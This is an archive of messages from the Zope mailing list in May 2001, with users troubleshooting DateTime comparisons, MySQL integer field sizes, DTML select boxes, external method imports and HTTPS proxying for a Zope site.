-- ************************ Gitte Wange Jensen System Squid Developer MMManager Aps +45 29 72 79 72 gitte@mmmanager.org ************************ From chrisw@nipltd.com Tue May 8 10:02:58 2001 From: chrisw@nipltd.com (Chris Withers) Date: Tue, 08 May 2001 10:02:58 +0100 Subject: [Zope] Re: [squishdot] [Announce] Squishdot 1.1.0 Released References: <3AF7343A.D187EB7@nipltd.com> <3AF77795.F1872F58@hal-pc.org> Message-ID: <3AF7B642.4C4D886A@nipltd.com> Ignacio Valdes wrote: > > Chris Withers wrote: > > > - Squishdot now uses the new Zope 2.3.2 BTrees > > > > ... > > ** This release requires Zope 2.3.2 or later! ** > > > > So does this mean CMF-based Squish is ever so much closer? -- IV Nope... not yet ;-) Chris From tino@wildenhain.de Tue May 8 10:19:13 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Tue, 08 May 2001 11:19:13 +0200 Subject: [Zope] DateTime() BUG! In-Reply-To: <3AF7AAED.16741.3D409A0@localhost> References: <3AF7AAED.16741.3D409A0@localhost> Message-ID: <6823256.989320753@BUZZER> Hi Kai, your viewpoint is true to some extent: there is no Date-Object in Zope. Its only a DateTime object and therefore it consists of data _and_ time naturaly. If you instantiate a DateTime object with a date only, it sets time to 00:00:00.000 obviously. (That is, DateTime is internally represented as floating point number) So any days time is normally greater than the date it has. (the amount is the seconds of the day) You can use a trick to archive what you want: DateTime(DateTime().Date()) gives you a DateTime-Object with the Time of the day-start. HTH Tino Wildenhain --On Dienstag, 8. Mai 2001 08:16 +0200 Kai Hofmann wrote: >> Kai Hofmann writes: >> > the "enddate" I showed in the "pseudo"-code has been defined as an >> > object= s=20 >> > property of type "date" - so I assumed the argument is correct - >> > isn't it= ? >> But then the result *IS* correct, too! >> >> If you have, as is you example: >> >> enddate= >> then >> DateTime().lessThanOrEqual(enddate) >> >> must return "false" most of the day. >> >> As the name suggests: "DateTime" is date *AND* time. >> "lessThanOrEqual" must take both components into account. > > From my point this is not correct, because of the following points: > > 1) within the enddate there is no time defined - so it is NOT possible to > compare the time - following your argument - the result should be a TYPE > ERROR, because its not possible to compare a date/time pair with a date > > 2) A date only describes a whole day - so comparing it with a date/time > pair should always result in a compare of the dates only - because the > time is out of interest here (its always within the date range). > > 3) If you want to ignore point 1) and 2) then you MUST add a time to date > single date - to make the compare work - you can add any time - but it > would only make sense to add 00:00:00 or 23:59:59 as time (start / end > of day) For a lessThanOrEqual it would be usefull to assume 23:59:59 - > for a greaterThanOrEqual it would be usefull to assume 00:00:00 > > So your argument is not acceptable for me - sorry. > > Btw. for more about calendrical and time calculation have a look at my > site at > > http://www.datelib.de/ > > Greetings > > Kai > > -- > Hofmann Software Engineering International http://www.hofmann-int.de/ > Dipl.-Inform. Kai Hofmann mailto:hofmann@hofmann-int.de > Arberger Heerstr. 92 phone:+49 174 1419312 > D-28307 Bremen/Germany fax:+49 421 4899933-1 > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From tony.mcdonald@ncl.ac.uk Tue May 8 11:56:10 2001 From: tony.mcdonald@ncl.ac.uk (Tony McDonald) Date: Tue, 08 May 2001 11:56:10 +0100 Subject: [Zope] Where may I find some discussions about the pros and cons of Zope vs ASP vs PHP, etc... In-Reply-To: Message-ID: On 7/5/01 9:40 pm, "Tommy Johnson" wrote: >> >> From static HTML -> ASP = Wow! >> From ASP -> PHP/Coldfusion = Chock! >> From PHP/Coldfusion -> Zope = Heart attack! >> > > This is exactly the way I progressed: > HTML to ASP > ASP to ColdFusion > Coldfusion to Zope > > And I am experiencing a heart attack, along with a stroke. And just this > morning, I found a patch of grey hairs. I hope it gets better, I've only > been in this Zope experience for 2 1/2 weeks now. > > Tommy I hope all these coronaries are due to the 'lightbulb' effect and not the DTML willies? I've been playing with Presentation/Page templates and they *are good*. Now all I need to do is warp my mind to another way of thinking - again!. (All I need is a few good pages crammed with examples and I'll be right as rain). Tone. -- Dr Tony McDonald, Assistant Director, FMCC, http://www.fmcc.org.uk/ The Medical School, Newcastle University Tel: +44 191 243 6140 A Zope list for UK HE/FE http://www.fmcc.org.uk/mailman/listinfo/zope From e.seifert@gmx.net Tue May 8 12:04:39 2001 From: e.seifert@gmx.net (E. Seifert) Date: Tue, 08 May 2001 13:04:39 +0200 Subject: [Zope] [Fwd: [ez] Translating Zope] Message-ID: <3AF7D2C7.3090600@gmx.net> Here's a message I recently posted in the eurozope mailing list. I didn't get much response yet. :-( -------- Original Message -------- Betreff: [ez] Translating Zope Datum: Sun, 06 May 2001 10:25:13 +0200 Von: "E. Seifert" An: eurozope@comlounge.net Hi list, As Zope gains popularity translations are necessary to help non-english speakers to better understand Zope. Therefore an important goal should be to keep these translations consistent over various ressources. To reach that goal I would propose a project to provide translator with zope vocabulary in their language. The words should be proposed, discussed and finally fixed in an official list of translations. This would be a great relief for all translators and will make translations more homogeneous and thus understandable for readers. Awaiting your feedback Eric _____________________________________________________ EuroZope mailing list http://eurozope.beehive.de/ EuroZope@comlounge.net https://admin.comlounge.net/mailman/listinfo/eurozope From aswxmike@yahoo.com Tue May 8 12:07:41 2001 From: aswxmike@yahoo.com (Mike Malloy) Date: Tue, 8 May 2001 04:07:41 -0700 (PDT) Subject: [Zope] Tutorial Question Message-ID: <20010508110741.41672.qmail@web11701.mail.yahoo.com> Please pardon if this has been answered before. I did make an attempt at looking through the mail archives. When trying to add the Zope Tutorial, I get the following error after giving it an id and clicking Add Invalid connection string: demo There is a long stack trace that can be sent if needed to help debug this. If this is a known issue, please let me know what the workaround is. Best Regards, Mike Malloy __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ From os1@v10a.com Tue May 8 12:34:12 2001 From: os1@v10a.com (oivvio polite) Date: Tue, 8 May 2001 13:34:12 +0200 Subject: [Zope] site-packages In-Reply-To: <01050815310700.04454@localhost.localdomain> References: <01050815310700.04454@localhost.localdomain> Message-ID: <01050813341200.06542@babar> Hi all. I'm building a webfilter in python. My first option for server was Apache+mod_snake, but after a while that felt kind of shaky. So now I've been reading up on Zope for a couple of days. I haven't been able to find the solution for a problem that must be very common. I have an external method in the root folder linked to a script looking like this: #hello.py def hello(self, REQUEST): user = REQUEST.AUTHENTICATED_USER return 'Hello %s' % user Works great. Then I have another another external method linked to a script looking like this: #hello_with_import.py import testmodule def hello(self): return 'Hello %s' % testmodule.value Doesn't work at all. Just gives me: Error Type: ImportError Error Value: No module named testmodule The module testmodule is in the site-packages of my python installation. and importing it from any normal python program is no problem. What's the deal here? oivvio -- oivvio polite cell +46 (0)709 30 40 30 / work +46 (0)8 669 64 18 / fax +46 (0)8 84 00 18 varvsgatan 10A / s-117 29 stockholm / sweden From jasonic@nomadicsltd.com Tue May 8 12:49:07 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Tue, 8 May 2001 07:49:07 -0400 Subject: [Zope] [zshell] ANN: 0.5 with wildcard expansion References: <20010508004040.B1199@nordine.ateur> Message-ID: <000b01c0d7b4$e44fe420$c3090740@megapathdsl.net> Jerome Dying to try out new features, but so far I have not been able make either 0.4 or 0.5 work It installs OK adn look nice Zope sees jaxml. I did a separate test from another script to be sure. But try any command + RUN then it just hangs... :-( Any ideas? RedHat6.2 Zope2.3.2 Running ok behind Apache with Proxypass, SiteAccess2, SiteRoot thanks ./Jason ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From arkaitz@euskalcom.net Tue May 8 13:10:12 2001 From: arkaitz@euskalcom.net (Arkaitz Bitorika) Date: 08 May 2001 14:10:12 +0200 Subject: [Zope] [zshell] ANN: 0.5 with wildcard expansion In-Reply-To: <000b01c0d7b4$e44fe420$c3090740@megapathdsl.net> References: <20010508004040.B1199@nordine.ateur> <000b01c0d7b4$e44fe420$c3090740@megapathdsl.net> Message-ID: <989323821.1265.6.camel@basajaun> On 08 May 2001 07:49:07 -0400, Jason Cunliffe wrote: > Jerome > > Dying to try out new features, but so far I have not been able make either > 0.4 or 0.5 work > > It installs OK adn look nice > Zope sees jaxml. I did a separate test from another script to be sure. > > But try any command + RUN then it just hangs... :-( It happens the same to me. I'm running Zope 2.3.2 from source on Red Hat 7.1 and Python 1.5.2. Cheers, Arkaitz. From Andreas Jung" ----- Original Message ----- From: "Kai Hofmann" > > From my point this is not correct, because of the following points: > > 1) within the enddate there is no time defined - so it is NOT possible to > compare the time - following your argument - the result should be a TYPE > ERROR, because its not possible to compare a date/time pair with a date When you enter a new date property to an object then this date is converted to an instance of DateTime (see PropertyManager and Converts module). The DateTime constructor assumes 00:00 when now time is given in the date string. This is a common used semantics. > 2) A date only describes a whole day - so comparing it with a date/time pair > should always result in a compare of the dates only - because the time is > out of interest here (its always within the date range). see above... When you only want to handle with dates you should avoid using the DateTime() constructor for comparision issues because it uses the current time. Andreas From dario@ita.chalmers.se Tue May 8 13:35:11 2001 From: dario@ita.chalmers.se (Dario Lopez-Kästen) Date: Tue, 8 May 2001 14:35:11 +0200 Subject: [Zope] [OT] Zope people in Göteborg, Sweden? Message-ID: <00d601c0d7bb$52c82b00$33de1081@ita.chalmers.se> Hello! I am looking for fellow Zopistas in G=F6teborg Sweden. Please respond = off list to me. Thank you. Sorry for the interruption.=20 /dario And now for something completely different: The Lark. The Lark. - -------------------------------------------------------------------- Dario Lopez-K=E4sten Systems Developer Chalmers Univ. of Technology dario@ita.chalmers.se ICQ will yield no hits IT Systems & Services From tdickenson@geminidataloggers.com Tue May 8 13:41:38 2001 From: tdickenson@geminidataloggers.com (Toby Dickenson) Date: Tue, 08 May 2001 13:41:38 +0100 Subject: [Zope] is ZEO the answer? In-Reply-To: <000901c0d721$03600190$0b01a8c0@erm> References: <000901c0d721$03600190$0b01a8c0@erm> Message-ID: <5vpfftscm0redlhkucaltib0h75pce83pm@4ax.com> On Mon, 7 May 2001 11:10:35 -0700, "Erik Myllymaki" wrote: >I would like to publish my Zope site internally (Intranet) via HTTP AND >externally via HTTPS (Internet). Should I be looking at ZEO or another >option? Using on HTTPS server for both would be the easiest, but the >intranet use is pretty heavy and I don't want to incure the overhead of = SSL >on what doesn't need to be encrypted. > >Thanks in advance, Another option is to use a single Zope, located on the intranet. Internal users connect direct, using http. On the internet use Apache to provide the https layer, and using mod_rewrite to fetch pages from the internal back-end server using http. External users always access Zope via this front-end proxy, although they cant tell the difference. You will need to use VirtualHostMonster so that Zope understands about the different URLs for proxied requests. Toby Dickenson tdickenson@geminidataloggers.com From milos.prudek@worldonline.cz Tue May 8 13:46:36 2001 From: milos.prudek@worldonline.cz (Milos Prudek) Date: Tue, 08 May 2001 14:46:36 +0200 Subject: [Zope] what is metadata? Message-ID: <3AF7EAAC.11E9910F@worldonline.cz> Hi all, I see references to "metadata" in Zope Book and this mailing list, but no explanation what this actually means. Could you please give me a few examples of metadata in Zope, and definition of what is metadata? -- Milos From gitte@mmmanager.org Tue May 8 13:48:54 2001 From: gitte@mmmanager.org (Gitte Wange) Date: Tue, 8 May 2001 14:48:54 +0200 Subject: [Zope] Setting SELECTED in select box Message-ID: <01050814485405.02171@squidbitch.mmmanager.org> Hello, I have run into this weird problem: I am trying to set an option in a select box SELECTED in the id of the option is the same as the value of the select box. The code looks like this: Now when I have selected a file, I can see that the fileid variable is set. Well then the select box should select the file that has that id right? But it doesn't - it doesn't select anything. Can anyone help me? Regards -- ************************ Gitte Wange Jensen System Squid Developer MMManager Aps +45 29 72 79 72 gitte@mmmanager.org ************************ From jmce@artenumerica.com Tue May 8 14:00:55 2001 From: jmce@artenumerica.com (J M Cerqueira Esteves) Date: Tue, 8 May 2001 14:00:55 +0100 Subject: [Zope] what is metadata? In-Reply-To: <3AF7EAAC.11E9910F@worldonline.cz>; from milos.prudek@worldonline.cz on Tue, May 08, 2001 at 02:46:36PM +0200 References: <3AF7EAAC.11E9910F@worldonline.cz> Message-ID: <20010508140054.G21247@esoterica.pt> On Tue, May 08, 2001 at 02:46:36PM +0200, Milos Prudek wrote: > definition of what is metadata? See, for instance, http://www.w3.org/Metadata/ http://dublincore.org/ http://www2.sub.uni-goettingen.de/metaguide/index.html http://www.MDCinfo.com/ -- jmce: +351 919838775 ~ http://jmce.artenumerica.org/ From nichols@tradingconnections.com Tue May 8 14:11:24 2001 From: nichols@tradingconnections.com (Dennis Nichols) Date: Tue, 08 May 2001 08:11:24 -0500 Subject: [Zope] Error when inserting into MySQL database In-Reply-To: <01050810321800.02171@squidbitch.mmmanager.org> Message-ID: <5.0.2.1.2.20010508080939.00a328a0@127.0.0.1> At 5/8/01 10:32 AM, Gitte Wange wrote: >The id field is auto_incremented ... and the type is tinyint ... >Anyone who have any ideas ??? And a tinyint can be -127 to +127. If you want more records than 127, make the id field some bigger type of integer. As it is, you are getting just what you asked for. -- Dennis Nichols nichols@tradingconnections.com From gitte@mmmanager.org Tue May 8 14:15:17 2001 From: gitte@mmmanager.org (Gitte Wange) Date: Tue, 8 May 2001 15:15:17 +0200 Subject: [Zope] Error when inserting into MySQL database In-Reply-To: <5.0.2.1.2.20010508080939.00a328a0@127.0.0.1> References: <5.0.2.1.2.20010508080939.00a328a0@127.0.0.1> Message-ID: <01050815151707.02171@squidbitch.mmmanager.org> On Tuesday 08 May 2001 15:11, Dennis Nichols wrote: > At 5/8/01 10:32 AM, Gitte Wange wrote: > >The id field is auto_incremented ... and the type is tinyint ... > >Anyone who have any ideas ??? > > And a tinyint can be -127 to +127. If you want more records than 127, make > the id field some bigger type of integer. As it is, you are getting just > what you asked for. > > -- > Dennis Nichols > nichols@tradingconnections.com Well I found out :-)) Now I am not good at binay numbers. Is there a list somewhere on the internet where I can see how many bits numbers use ? Regards -- ************************ Gitte Wange Jensen System Squid Developer MMManager Aps +45 29 72 79 72 gitte@mmmanager.org ************************ From hofmann@isl.org Tue May 8 14:20:10 2001 From: hofmann@isl.org (Kai Hofmann) Date: Tue, 8 May 2001 15:20:10 +0200 Subject: Fw: [Zope] DateTime() BUG! In-Reply-To: <018501c0d7b6$e916f730$9865fea9@SUXLAP> Message-ID: <3AF80E63.5429.54D3069@localhost> > When you only want to handle with dates you should avoid using the > DateTime() > constructor for comparision issues because it uses the current time. So I need something like a Date class inlcuding a default constructor for= the=20 current date as well as compare methods .... --=20 Institut f=FCr Seeverkehrswirtschaft und Logistik http://www.isl.org/ Dipl.-Inform. Kai Hofmann mailto:hofmann@isl.org Universitaetsallee GW1 Block A phone:+49 421 22096-83 D-28359 Bremen fax:+49 421 22096-55 From jasonic@nomadicsltd.com Tue May 8 14:42:23 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Tue, 8 May 2001 09:42:23 -0400 Subject: [Zope] what is metadata? References: <3AF7EAAC.11E9910F@worldonline.cz> Message-ID: <002d01c0d7c4$b68b05a0$c3090740@megapathdsl.net> Milos Metadata is data about data. Hopefully it is structured in a useful way. This means just about everything can be considered to be metadata in some context. In Zope a simple example might be that you want to store large image files outside of Zope's own database, the ZODB. There are several tools to do this. LocalFS and ExtFile Zope Products both allow to store images [or any file ] elsewhere in the server's regular file system. These files are themselves sets of data carefully structured according to thier file type, .jpeg, .png, .pdf etc.. But inside Zope you want to keep simple metadata about those files, such as: path, filename, type, author, width, height, size_Kb, datetime_uploaded, author, etc. You might call these properties or attributes of the source data [object]. Now suppose you want to store some 'higher level' data such as: number of .jpeg files or the name email of the author of the file containing scan of a photograph of the view from his window overlooking the house that jack built in the same street where another man named Milos later asked a question about zope metadata which was then answered in strange way by ... ./Jason ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] PS: LocalFS http://www.zope.org/Members/jfarr/Products/LocalFS ExtFile http://www.zope.org/Members/MacGregor/ExtFile The ExtFile/ExtImage Product stores a file externally in the filesystem and keeps only meta data in the Zope Database. The file is stored in an external file repository and is accessible via its corresponding Zope object. ----- Original Message ----- From: "Milos Prudek" To: Sent: Tuesday, May 08, 2001 8:46 AM Subject: [Zope] what is metadata? > Hi all, > > I see references to "metadata" in Zope Book and this mailing list, but > no explanation what this actually means. Could you please give me a few > examples of metadata in Zope, and definition of what is metadata? > > -- > Milos From tino@wildenhain.de Tue May 8 14:39:14 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Tue, 08 May 2001 15:39:14 +0200 Subject: [Zope] Setting SELECTED in select box In-Reply-To: <01050814485405.02171@squidbitch.mmmanager.org> References: <01050814485405.02171@squidbitch.mmmanager.org> Message-ID: <22424690.989336354@BUZZER> Hi Gitte, bad idea to use "id" for this, you are probably running into a namespace-problem. To check this, just give out the content of "id" with id is probably the id of your document or folder. Try to find an other identifier which is not used by zope itself. Regards Tino Wildenhain --On Dienstag, 8. Mai 2001 14:48 +0200 Gitte Wange wrote: > Hello, > > I have run into this weird problem: > I am trying to set an option in a select box SELECTED in the id of the > option is the same as the value of the select box. > The code looks like this: > > > Now when I have selected a file, I can see that the fileid variable is > set. Well then the select box should select the file that has that id > right? > > But it doesn't - it doesn't select anything. > > Can anyone help me? > > Regards > -- > ************************ > Gitte Wange Jensen > > System Squid Developer > MMManager Aps > +45 29 72 79 72 > > gitte@mmmanager.org > ************************ > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From tino@wildenhain.de Tue May 8 14:41:12 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Tue, 08 May 2001 15:41:12 +0200 Subject: [Zope] Error when inserting into MySQL database In-Reply-To: <01050815151707.02171@squidbitch.mmmanager.org> References: <01050815151707.02171@squidbitch.mmmanager.org> Message-ID: <22543015.989336472@BUZZER> Hi Gitte, > Well I found out :-)) > > Now I am not good at binay numbers. Is there a list somewhere on the > internet where I can see how many bits numbers use ? > Not on internet as such. This is only a naming issue and depends on the application. In this case you will find it in your database documentation. Regards Tino Wildenhain From gitte@mmmanager.org Tue May 8 14:45:11 2001 From: gitte@mmmanager.org (Gitte Wange) Date: Tue, 8 May 2001 15:45:11 +0200 Subject: [Zope] Setting SELECTED in select box In-Reply-To: <22424690.989336354@BUZZER> References: <01050814485405.02171@squidbitch.mmmanager.org> <22424690.989336354@BUZZER> Message-ID: <01050815415608.02171@squidbitch.mmmanager.org> No no ... It insert the correct id ... I can see that in the html-source ... so that's not the problem. What makes me wonder is that even though there is an id=27 and a fileid=27 it does set this as SELECTED ... why ? Gitte On Tuesday 08 May 2001 15:39, you wrote: > Hi Gitte, > > bad idea to use "id" for this, you are probably running into > a namespace-problem. > > To check this, just give out the content of "id" with > > > id is probably the id of your document or folder. > Try to find an other identifier which is not used by zope itself. > > Regards > Tino Wildenhain > > --On Dienstag, 8. Mai 2001 14:48 +0200 Gitte Wange > > wrote: > > Hello, > > > > I have run into this weird problem: > > I am trying to set an option in a select box SELECTED in the id of the > > option is the same as the value of the select box. > > The code looks like this: > > > > > > Now when I have selected a file, I can see that the fileid variable is > > set. Well then the select box should select the file that has that id > > right? > > > > But it doesn't - it doesn't select anything. > > > > Can anyone help me? > > > > Regards > > -- > > ************************ > > Gitte Wange Jensen > > > > System Squid Developer > > MMManager Aps > > +45 29 72 79 72 > > > > gitte@mmmanager.org > > ************************ > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) From drees@the-bridge.net Tue May 8 14:55:04 2001 From: drees@the-bridge.net (Steve Drees) Date: Tue, 8 May 2001 08:55:04 -0500 Subject: [Zope] Re: [ZPT] index_html a script, not a template In-Reply-To: <00df01c0d76c$0078f220$01000001@yosemite> Message-ID: From: "Evan Simpson" > From: "Peter Bengtsson" > > I.e. I start with a template and most likely end up in a template. > > > > Am I alone on using templating objects for URL-hitting objects? > > Not at all. Both patterns have their place, and making code > objects primary > is a relatively new idiom. I use about an 80% - 20% mix on my sites so far. Many of form URLs are Python Scripts. The rule of thumb for me is if I have more than one in the first 10 lines I make it a python script. YMMV > I think that it has more to do with the rise of Python Scripts, although > part of the Page Template philosophy is to avoid embedding > non-presentation > logic. I've only played with ZPT so far. What I would really like to do in my Copious Amount Of Spare Time (tm) is to port www.wejustrock.com from DTML to ZPT and make source for both versions publicly viewable. I think that would go along way to educating people on ZPT. Unfortunately I'm not even a level 1 ZPT mage. From drees@the-bridge.net Tue May 8 14:57:48 2001 From: drees@the-bridge.net (Steve Drees) Date: Tue, 8 May 2001 08:57:48 -0500 Subject: [Zope] Error when inserting into MySQL database In-Reply-To: <01050810321800.02171@squidbitch.mmmanager.org> Message-ID: > The id field is auto_incremented ... and the type is tinyint ... > Anyone who have any ideas ??? tinyints have a range of -128 to 127 You need a bigger field type for your key. From laurien@tiger.bcm.tmc.edu Tue May 8 14:59:52 2001 From: laurien@tiger.bcm.tmc.edu (Laurie Nason) Date: Tue, 8 May 2001 08:59:52 -0500 Subject: [Zope] Setting SELECTED in select box In-Reply-To: <01050815415608.02171@squidbitch.mmmanager.org> References: <01050814485405.02171@squidbitch.mmmanager.org> <22424690.989336354@BUZZER> <01050815415608.02171@squidbitch.mmmanager.org> Message-ID: <01050808595201.16082@alilap.3dem.bioch.bcm.tmc.edu> Have you tried checking to see if one of your 27's is a string and one is a number? I seem to remember that I had this problem before, if I find it I will let you know BTW - you could make the Selected a little snazzier by doing the following.... saves on a few if statements SELECT NAME="fileid" SIZE="1"> >
HTH Laurie On Tuesday 08 May 2001 08:45, Gitte Wange wrote: > No no ... > It insert the correct id ... I can see that in the html-source ... > so that's not the problem. > > What makes me wonder is that even though there is an id=27 and a fileid=27 > it does set this as SELECTED ... why ? > > Gitte > > On Tuesday 08 May 2001 15:39, you wrote: > > Hi Gitte, > > > > bad idea to use "id" for this, you are probably running into > > a namespace-problem. > > > > To check this, just give out the content of "id" with > > > > > > id is probably the id of your document or folder. > > Try to find an other identifier which is not used by zope itself. > > > > Regards > > Tino Wildenhain > > > > --On Dienstag, 8. Mai 2001 14:48 +0200 Gitte Wange > > > > wrote: > > > Hello, > > > > > > I have run into this weird problem: > > > I am trying to set an option in a select box SELECTED in the id of the > > > option is the same as the value of the select box. > > > The code looks like this: > > > > > > > > > Now when I have selected a file, I can see that the fileid variable is > > > set. Well then the select box should select the file that has that id > > > right? > > > > > > But it doesn't - it doesn't select anything. > > > > > > Can anyone help me? > > > > > > Regards > > > -- > > > ************************ > > > Gitte Wange Jensen > > > > > > System Squid Developer > > > MMManager Aps > > > +45 29 72 79 72 > > > > > > gitte@mmmanager.org > > > ************************ > > > > > > _______________________________________________ > > > Zope maillist - Zope@zope.org > > > http://lists.zope.org/mailman/listinfo/zope > > > ** No cross posts or HTML encoding! ** > > > (Related lists - > > > http://lists.zope.org/mailman/listinfo/zope-announce > > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) -- _________________________________________________ National Center for Macromolecular Imaging Baylor College of Medicine Houston, TX _________________________________________________ From drees@the-bridge.net Tue May 8 15:03:49 2001 From: drees@the-bridge.net (Steve Drees) Date: Tue, 8 May 2001 09:03:49 -0500 Subject: [Zope] Error when inserting into MySQL database In-Reply-To: <01050815151707.02171@squidbitch.mmmanager.org> Message-ID: > > Now I am not good at binay numbers. Is there a list somewhere on > the internet > where I can see how many bits numbers use ? went to www.google.com and did a search on "mysql field type size" First link was http://www.scibit.com/Help/Mascon/masconMySQL_Field_Types.html From drees@the-bridge.net Tue May 8 15:05:30 2001 From: drees@the-bridge.net (Steve Drees) Date: Tue, 8 May 2001 09:05:30 -0500 Subject: [Zope] Error when inserting into MySQL database In-Reply-To: <01050815151707.02171@squidbitch.mmmanager.org> Message-ID: > Now I am not good at binay numbers. Is there a list somewhere on > the internet > where I can see how many bits numbers use ? This info is also in the O'Reilly book MySQL & mSQL starting on page 235. (The orange post-it flag in my copy.) From gitte@babytux.dk Tue May 8 15:05:10 2001 From: gitte@babytux.dk (Gitte Wange) Date: Tue, 8 May 2001 16:05:10 +0200 Subject: [Zope] Setting SELECTED in select box In-Reply-To: <01050808595201.16082@alilap.3dem.bioch.bcm.tmc.edu> References: <01050814485405.02171@squidbitch.mmmanager.org> <01050815415608.02171@squidbitch.mmmanager.org> <01050808595201.16082@alilap.3dem.bioch.bcm.tmc.edu> Message-ID: <0105081605100A.02171@squidbitch.mmmanager.org> Well I think you are right - this could be the problem. But then - how do I make the test to see if they are identical ? fileid proparly is a string and id is an int ... can I convert one of them - if so, how? Gitte On Tuesday 08 May 2001 15:59, Laurie Nason wrote: > Have you tried checking to see if one of your 27's is a string and one is a > number? I seem to remember that I had this problem before, if I find it I > will let you know > > BTW - you could make the Selected a little snazzier by doing the > following.... saves on a few if statements > > SELECT NAME="fileid" SIZE="1"> > > > > > > > > > HTH Laurie > > On Tuesday 08 May 2001 08:45, Gitte Wange wrote: > > No no ... > > It insert the correct id ... I can see that in the html-source ... > > so that's not the problem. > > > > What makes me wonder is that even though there is an id=27 and a > > fileid=27 it does set this as SELECTED ... why ? > > > > Gitte > > > > On Tuesday 08 May 2001 15:39, you wrote: > > > Hi Gitte, > > > > > > bad idea to use "id" for this, you are probably running into > > > a namespace-problem. > > > > > > To check this, just give out the content of "id" with > > > > > > > > > id is probably the id of your document or folder. > > > Try to find an other identifier which is not used by zope itself. > > > > > > Regards > > > Tino Wildenhain > > > > > > --On Dienstag, 8. Mai 2001 14:48 +0200 Gitte Wange > > > > > > > > > wrote: > > > > Hello, > > > > > > > > I have run into this weird problem: > > > > I am trying to set an option in a select box SELECTED in the id of > > > > the option is the same as the value of the select box. > > > > The code looks like this: > > > > > > > > > > > > Now when I have selected a file, I can see that the fileid variable > > > > is set. Well then the select box should select the file that has that > > > > id right? > > > > > > > > But it doesn't - it doesn't select anything. > > > > > > > > Can anyone help me? > > > > > > > > Regards > > > > -- > > > > ************************ > > > > Gitte Wange Jensen > > > > > > > > System Squid Developer > > > > MMManager Aps > > > > +45 29 72 79 72 > > > > > > > > gitte@mmmanager.org > > > > ************************ > > > > > > > > _______________________________________________ > > > > Zope maillist - Zope@zope.org > > > > http://lists.zope.org/mailman/listinfo/zope > > > > ** No cross posts or HTML encoding! ** > > > > (Related lists - > > > > http://lists.zope.org/mailman/listinfo/zope-announce > > > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) From drees@the-bridge.net Tue May 8 15:07:35 2001 From: drees@the-bridge.net (Steve Drees) Date: Tue, 8 May 2001 09:07:35 -0500 Subject: [Zope] Re: [ZPT] index_html a script, not a template In-Reply-To: Message-ID: > From: "Evan Simpson" > > From: "Peter Bengtsson" > > > I.e. I start with a template and most likely end up in a template. > > > > > > Am I alone on using templating objects for URL-hitting objects? > > > > Not at all. Both patterns have their place, and making code > > objects primary > > is a relatively new idiom. > > > I use about an 80% - 20% mix on my sites so far. > Many of form URLs are Python Scripts. Let me clarify. 80% DTML - 20% Scripts From tpassin@mitretek.org Tue May 8 15:07:30 2001 From: tpassin@mitretek.org (Thomas B. Passin) Date: Tue, 8 May 2001 10:07:30 -0400 Subject: [Zope] HTML forms: how to get the value of an unchecked checkbox? References: <20010507154837.A11871@internatif.org> <008401c0d701$2e7ac1f0$38a3f1ce@mitretek.org> <20010507163113.B13607@internatif.org> Message-ID: <004801c0d7c8$385e5070$38a3f1ce@mitretek.org> [Stephane Bortzmeyer] > Thomas B. Passin wrote > a message of 36 lines which said: > > > 1) Your dtml or script can check to see if that key is in the form, and act > > appropriately if it is not there. > > My script cannot check because parameters are apparently tested by > Zope before the first line of the script is executed. > I don't quite know what you are referring to here. The form data is contained in the REQUEST object (i.e., REQUEST.form). I assure you that all the form data from the checkboxes and so on will be in the REQUEST. Zope won't remove any of it. You have to make sure that the REQUEST gets passed to your script, then the script can access it. I haven't used Python scripts so far, if that's what you are using, but I think that the REQUEST comes with the "context" parameter. If not, you should be able to pass it directly to the script. If you were using an external method, you would pass it like so: . You should, I think, make sure that you know how to send the REQUEST object to your script, then everything else should easy. Cheers, Tom P From cduncan@kaivo.com Tue May 8 15:22:01 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Tue, 08 May 2001 08:22:01 -0600 Subject: [Zope] Setting SELECTED in select box References: <01050814485405.02171@squidbitch.mmmanager.org> <01050815415608.02171@squidbitch.mmmanager.org> <01050808595201.16082@alilap.3dem.bioch.bcm.tmc.edu> <0105081605100A.02171@squidbitch.mmmanager.org> Message-ID: <3AF80109.E2DA3D3C@kaivo.com> Gitte Wange wrote: > > Well I think you are right - this could be the problem. > > But then - how do I make the test to see if they are identical ? > fileid proparly is a string and id is an int ... can I convert one of them - > if so, how? > > Gitte > > On Tuesday 08 May 2001 15:59, Laurie Nason wrote: > > Have you tried checking to see if one of your 27's is a string and one is a > > number? I seem to remember that I had this problem before, if I find it I > > will let you know > > > > BTW - you could make the Selected a little snazzier by doing the > > following.... saves on a few if statements > > > > SELECT NAME="fileid" SIZE="1"> > > > > > > > > > > > > > > > > You can convert either automatically using marshalling or using _.int(): Now when I have selected a file, I can see that the fileid variable is set. Well then the select box should select the file that has that id right? But 